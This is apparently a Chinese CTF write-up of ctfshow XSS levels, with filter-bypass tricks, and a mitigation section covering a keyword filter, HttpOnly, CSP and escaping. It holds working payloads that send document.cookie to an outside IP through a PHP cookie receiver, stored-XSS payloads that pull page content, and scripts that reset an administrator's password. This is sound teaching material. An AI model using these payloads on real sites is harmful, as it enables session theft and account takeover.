WEB攻防-通用漏洞_XSS跨站_绕过修复_http_only_CSP_标签符号

embedded/2025/1/19 5:10:43/

目录

xss-toc" style="margin-left:0px;">1、关卡361 - 反射型xss

2、关卡317 - 过滤标签

3、关卡318 319 - 过滤标签

4、关卡320--326 - 过滤空格和尖括号

5、关卡327 - 存储型跨站

6、关卡328

7、关卡329 - 失效凭据需1步完成所需操作

8、关卡330 - 存储型-借助修改密码URL重置管理员密码(GET方式提交修改密码)

9、关卡331 - post提交修改密码

修复方案

1.字符过滤

2、httponly过滤 

3、CSP安全策略

4、其它防止跨站的策略


下面是ctfshow的关卡

xss" style="background-color:transparent;">1、关卡361 - 反射型xss

在文本框中输入123,页面中就出现123;即,在输入框中输入什么,页面中就会出现什么

测试:输入“<script>alert(1)</script>”是否会出现弹窗

测试结果:出现弹窗,说明存在跨站xss漏洞

怎么去获取这个flag呢,在ctfshow默认会有一个机器人,生成好跨站地址后,机器人会自动去访问地址触发跨站,然后让管理员把他的cookie发送出来,作为考题,flag在cookie中。 那么应该怎么获取管理员的cookie呢?

首先我们要知道在js中,document.cookie可以获取到当前的cookie,和window.location.href是跳转到url,通过这两个内部函数去让浏览器给我们发送cookie,只要打开我们构造的URL就让发生cookie到我们服务器中。所以我们要先准备一个api接收从目标网站返回的cookie信息

在自己的服务器建一个get.php

# get.php
<?php 
$cookie=$_GET['c']; 
$myfile = fopen("cookie.txt", "w+"); 
fwrite($myfile, $cookie); 
fclose($myfile); 
?>

构造跨站语句: <script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script>

在输入框输入跨站语句,点击“生成链接”,当机器人去触发,就可以获取到flag了

2、关卡317 - 过滤标签

上一关的跨站语句:<script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script>

在输入框输入前一关的跨站语句,点击“生成链接”,发现网站没有反应,页面没有显示js语句,浏览器也没有跳转,但是正常 的输入123这样的,shi没问题的,通过尝试发现输入的语句中只要出现了<script>,网站就会对其进行过滤,那么我们把<script>标签换成其它的标签

常见的绕过,参考文章:https://xz.aliyun.com/t/4067

比如把script标签换成img标签,如<img src=1 onerror=alert("xss");>

测试:在输入框中输入img标签的跨站语句,点击“生成链接”,结果弹窗

构造payload:

① <img src=1 οnerrοr=window.location.href='http://47.100.167.248/get.php?c='+document.cookie;>  当图片地址不存在时,触发事件,测试失败,猜测可能图片1是存在

② <input οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;">  失败

③ <body/οnlοad=window.location.href='http://47.100.167.248/get.php?c='+document.cookie;> 成功

这个是什么原因呢? 为什么body可以,img不行。其实这是和鼠标事件有关。鼠标事件有错误事件(onerror),有单击事件(onclick),指向触发,还有事件会在页面或图像加载完成后立即发生(onload,这个是最好的,不需要任何操作就可触发的)

3、关卡318 319 - 过滤标签

用前面的payload:<img src=adf οnlοad=window.location.href='http://47.100.167.248/get.php?c='+document.cookie> 一样也是被过滤了,

然后用到input标签:<input οnlοad="alert('xss');"> 构造payload: <input οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;">没反应?换一个

用svg标签构造payload: <svg οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;"> 页面跳转成功,成功获取到cookie和flag

4、关卡320--326 - 过滤空格和尖括号

通过测试,发现过滤了空格和<>,只要有空格或尖括号都不行

考虑绕过空格,用/代替空格 <img/src="x"/οnerrοr=alert("xss");>

构造payload: <svg/οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;"> 页面跳转成功,成功获取到flag

5、关卡327 - 存储型跨站

将跨站语句写到邮件内容中,邮件发送成功后,对方打开邮件就会触发跨站

信的内容写跨站语句:<script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script> 收件人要写上admin。

 

 

6、关卡328

这一关出现了注册登录查看等操作,直接登录自己的账号,因为不是管理员,页面中的用户名和密码不让显示

思路: 后台管理员能够查看注册用户的账号密码,如果我注册账号时,将自己的账号或密码改为js代码,注册后js代码被存储到数据库中,当管理员查看这个账号管理的页面时,会不会触发js代码,触发了JavaScript代码后,我就可以获取到管理员的cookie值,然后可以进行用户的查看。

构造payload: <script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script>

 获取到管理员cookie:sessionID

用burp抓包,修改cookie的值,实现admin登录,查看到所有账户信息:

1646103778872-70d6b737-2b68-4e18-9203-d26c11a18b12.png

7、关卡329 - 失效凭据需1步完成所需操作

在页面和上一关一样, 所以同理,可以用到上一关的payload来获取cookie的值, <script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script> 可以获取到cookie,但是用获取的cookie一直登录不成功,因为收到的cookie可能每10s就刷新一次,机器人刚把cookie发过来,它就退出登录,cookie就失效了

 那么应该怎么处理这个问题呢? 思路:xss跨站代码,可以获取到页面的cookie的值,也可以获取到当前页面的源代码。上一关显示源码中的flag位置,在页面密码下的第一行。 查看元素,看看是什么标识这个变量

1646105124197-2757ed3c-4715-4955-a21c-a199e5ab9408.png

可以看出,是layui-table-cell laytable-cell-1-0-1的标签标识了管理员可见,那么就构造payload,在触发XSS跨站代码的时候将“ctfshow{xxxxx}”中的flag值发送到指定位置。

xss平台上也有这个功能,但是一直都不能成功 https://xss8.cc/

自己写JS代码获取值

<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show')>-1){//没找到索引就返回-1    window.location.href='http://47.100.167.248/get.php?c='+value.innerHTML;     } 
});
</script> 

注册时,JS语句写在代码处,然后登录:

 直接获取到flag的值:

 

8、关卡330 - 存储型-借助修改密码URL重置管理员密码(GET方式提交修改密码)

修改密码页面,经过抓包分析,得知,只要是登录状态,修改密码只需要访问/api/change.php?p=111111这个接口地址,就能把成功修改密码。

这个地址修改的密码是谁的密码呢?是当前登录用户;如果管理员登录了后台,同时查看了用户的注册密码信息,就可以尝试重置密码。

攻击思路:注册用户时,填写的用户名或密码是可以跳转到修改密码URL的JS代码,注册成功后,注册信息被写入数据库,只要管理员登录后台并查看了这个用户密码管理页面,就可以触发JS代码的执行,自动跳转重置密码URL,并重置管理员的密码。

构造payload:

<script> window.location.href='http://127.0.0.1/api/change.php?p=123';</script>  //触发跳转管理员本地地址,实际操作中本地地址和实际地址都要写上

实际操作改为:<script> src='http://127.0.0.1/api/change.php?p=123';</script>  //最好用src,浏览器不会明显地跳转到指定页面,而是悄悄地触发这个地址

注册账户时,用户名和密码处都填写为JS代码(因为不知道用户名和密码哪一个可以触发JS代码):

 等待机器人触发JS代码后,管理员密码被修改成功,这样就可以用admin、123成功登录管理员账号了:

9、关卡331 - post提交修改密码

同样是修改密码的地方,但是是post提交数据,抓包分析

1646113758451-7d66eb92-a3d9-4fea-8ce8-9e2240647ca3.png

那么应该怎么使用JavaScript来进行post提交数据呢?

构造payload:

<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>

注册时,用户名和密码处填写注入语句:

JS代码被触发后,用admin登录,就可以得到flag

修复方案

1.字符过滤

自定义过滤函数:检测输入的xss代码,一旦检测到关键字,就过滤

过滤一些危险字符,以及转义& < > " ' 等危险字符 

# 自定义过滤函数function RemoveXSS($val) {// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed// this prevents some character re-spacing such as <java\0script>// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);// straight replacements, the user should never need these since they're normal characters// this prevents like <IMG SRC=@avascript:alert('XSS')>$search = 'abcdefghijklmnopqrstuvwxyz';$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';$search .= '1234567890!@#$%^&*()';$search .= '~`";:?+/={}[]-_|\'\\';for ($i = 0; $i < strlen($search); $i++) {// ;? matches the ;, which is optional// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars// @ @ search for the hex values$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;// @ @ 0{0,7} matches '0' zero to seven times$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;}// 检测xss语句中常见的关键字 now the only remaining whitespace attacks are \t, \n, and \r$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title');$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');$ra = array_merge($ra1, $ra2);$found = true; // keep replacing as long as the previous round replaced somethingwhile ($found == true) {$val_before = $val;for ($i = 0; $i < sizeof($ra); $i++) {$pattern = '/';for ($j = 0; $j < strlen($ra[$i]); $j++) {if ($j > 0) {$pattern .= '(';$pattern .= '(&#[xX]0{0,8}([9ab]);)';$pattern .= '|';$pattern .= '|(&#0{0,8}([9|10|13]);)';$pattern .= ')*';}$pattern .= $ra[$i][$j];}$pattern .= '/i';$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag$val = preg_replace($pattern, $replacement, $val); // filter out the hex tagsif ($val_before == $val) {// no replacements were made, so exit the loop$found = false;}}}return $val;
}

2、httponly过滤 

httponly是微软对cookie做的扩展,主要是解决用户的cookie可能被盗用的问题,它用于限制Cookie的访问权限,禁止客户端的JavaScript代码访问和修改设置了HTTPOnly属性的Cookie,开启后即使获取到cookie,也是不完整的cookie

3、CSP安全策略

其核心目的是通过限制网页可以加载的外部资源,防止恶意脚本通过第三方资源注入到网站中。它允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行。

例:

在zb_system/admin/index.php 这个文件中设置跨站代码<sCRiPt sRC=//xss.pt/X8Vz></sCrIpT> ,刷新这个页面http://127.0.0.1:8107/zb_system/admin/index.php 可以发现他向xss平台发送了数据。

如果设置了CSP,cookie不能发送不出去

4、其它防止跨站的策略

  1. 将输入的内容进行长度限制;

  2. 实体转义等,比如,把<转义成7gt &gt等

  PHP针对HTML实体字符的转义函数有:

    ① htmlspecialchars()

    ② htmlspecialchars_decode()

    ③ htmlentities()

    ④ html_entity_decode() 函数


http://www.ppmy.cn/embedded/155145.html

相关文章

【Grasshopper】【Python】点集排序:带索引的Z字形排序算法

Grasshopper Python点集排序&#xff1a;带索引的Z字形排序算法 1. 功能介绍 这段代码实现了一个在Grasshopper中的点集排序功能&#xff0c;不仅可以将空间中的点按照Y坐标分组并在每组内按X坐标排序&#xff0c;还能追踪每个点的原始索引位置。 2. 输入输出参数 输入参数&…

Unreal Engine 5 C++ Advanced Action RPG 八章笔记

第八章 Boss Enemy 2-Set Up Boss Character 创建Boss敌人流程 起始的数据UI战斗能力行为树 这集新建Boss敌人的蓝图与动画蓝图和混合空间,看看就行巨人在关卡中,它的影子被打破,更改当前项目中的使用的阴影贴图就可以解决 从虚拟阴影贴图更改为阴影贴图即可 3-Giant Start…

vscode——如何让标点总是成对出现

vscode——如何让标点总是成对出现&#xff1a; 打开vscode&#xff0c;在设置中输入editor.autoClosing 将设置参数全部改成always

《Keras 3 在 TPU 上的肺炎分类》

Keras 3 在 TPU 上的肺炎分类 作者&#xff1a;Amy MiHyun Jang创建日期&#xff1a;2020/07/28最后修改时间&#xff1a;2024/02/12描述&#xff1a;TPU 上的医学图像分类。 &#xff08;i&#xff09; 此示例使用 Keras 3 在 Colab 中查看 GitHub 源 简介 设置 本教程将介…

MyBatis执行一条sql语句的流程(源码解析)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 MyBatis执行一条sql语句的流程&#xff08;源码解析&#xff09; MyBatis执行sql语句的流程加载配置文件加载配置文件的流程 创建sqlsessionFactory对象解析Mapper创建sqlses…

一、1-2 5G-A通感融合基站产品及开通

1、通感融合定义和场景&#xff08;阅读&#xff09; 1.1通感融合定义 1.2通感融合应用场景 2、通感融合架构和原理&#xff08;较难&#xff0c;理解即可&#xff09; 2.1 感知方式 2.2 通感融合架构 SF&#xff08;Sensing Function&#xff09;&#xff1a;核心网感知控制…

Spring Bean的提前加载和懒加载

一、将特定的bean 提前加载来满足其他bean对该bean 的依赖 通过实现 BeanFactoryPostProcessor 该接口重写postProcessBeanFactory&#xff08;&#xff09; 方法来进行bean的提前加载 在Bean1中加载Bean2 让Bean提前加载。 再写一个Bean3让系统加载&#xff08;无调用&#x…

Vue.js组件开发-如何实现表头搜索

在Vue.js组件开发中&#xff0c;实现表头搜索通常涉及在表格组件的表头添加输入框&#xff0c;并让用户能够输入搜索关键字来过滤表格数据。 以下是一个使用Element UI的el-table组件实现表头搜索的示例&#xff1a; 一、准备阶段 ‌确保Element UI已安装‌&#xff1a; 确保…